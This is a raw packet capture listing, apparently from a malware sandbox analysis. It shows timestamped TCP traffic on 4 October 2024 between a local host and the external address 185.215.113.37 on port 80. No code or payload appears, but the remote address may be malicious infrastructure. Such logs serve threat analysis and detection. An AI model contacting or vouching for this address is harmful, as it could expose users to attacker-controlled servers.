Oct 4, 2024 05:45:00.023464918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023484945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.023509026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023518085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.023529053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023550987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.023571968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023587942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.023603916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023617029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.023638964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.023665905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067209959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067253113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067307949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067343950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067377090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067430019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067430019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067430019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067430019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067452908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067487001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067492962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067502022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067519903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067533970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067552090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067567110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067595959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067604065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067636967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067651033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067670107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067682981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067715883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067719936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067766905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067776918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067826033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067830086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067871094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067878962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067912102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067929983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.067960978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.067992926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068006992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068028927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068038940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068073988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068078995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068111897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068123102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068145037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068160057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068188906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068193913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068226099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068242073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068270922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068275928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068306923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068331003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068351030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068356037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068388939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068404913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068423986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068435907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068451881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068469048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068496943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068500042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068533897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068552017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068567991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068579912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068608999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068610907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068643093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068665981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068674088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068686008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068706989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068720102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068742990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068751097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068789959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068793058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068825006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068844080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068856001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068870068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068898916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068906069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068937063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068952084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.068985939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.068988085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069016933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069036961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069062948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069067001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069097996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069113970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069129944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069142103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069163084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069175959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069199085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069207907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069227934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069246054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069258928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069272995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069292068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069304943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069324017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069336891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069356918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069370031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069390059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069402933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069421053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069433928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069453955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069466114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069485903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069498062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069518089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069530964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069550037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069561005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069581985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069593906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069613934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069626093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069645882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069659948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069679022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069689989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069714069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069725037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069747925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069758892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069780111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069792986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069813013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069827080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069844007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069854975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069876909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069888115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069911957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.069921970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.069956064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.110785961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.110846043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.110888958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.110919952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.110934973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.110960960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.110975027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111011028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111020088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111041069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111052990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111073017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111084938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111114025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111124039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111156940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111167908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111190081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111196041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111232042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111239910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111273050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111282110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111305952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111320019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111340046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111346960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111380100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111424923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111470938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111475945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111509085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111519098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111541033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111551046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111583948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111594915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111635923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111646891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111680031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111690998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111712933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111720085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111745119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111753941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111787081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111797094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111840963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111844063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111877918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111886024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111910105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111917973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111951113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.111962080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.111989975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112005949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112031937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112044096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112077951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112087011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112107038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112119913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112148046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112162113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112195015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112205982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112235069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112243891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112276077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112282991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112308025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112315893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112340927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112348080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112373114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112379074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112407923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112415075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112440109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112452984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112473965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112478971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112505913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112513065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112538099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112546921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112570047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112577915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112602949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112620115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112633944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112644911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112667084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112673044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112698078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112706900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112732887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112739086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112763882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112773895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112797976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112806082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112829924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112839937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112863064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.112873077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.112911940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.155936956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.155970097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.155987024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.155997038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156002045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156018972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156023979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156033993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156033993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156049967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156049967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156066895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156081915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156086922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156105042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156111956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156128883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156136036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156143904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156157970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156158924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156173944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156182051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156188965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156202078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156203032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156244993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156254053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156260967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156297922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156311035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156343937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156356096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156378031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156387091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156418085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156434059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156466961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156488895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156517982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156529903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156550884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156559944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156584978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156599045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156615973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156627893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156658888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156666994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156699896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156706095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156733036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156743050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156775951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156785011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156826973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156836033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156868935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156882048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156934023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156940937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156960011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156974077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.156986952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.156989098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157002926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157016993 CEST	80	49704	185.215.113.37	192.168.2.5
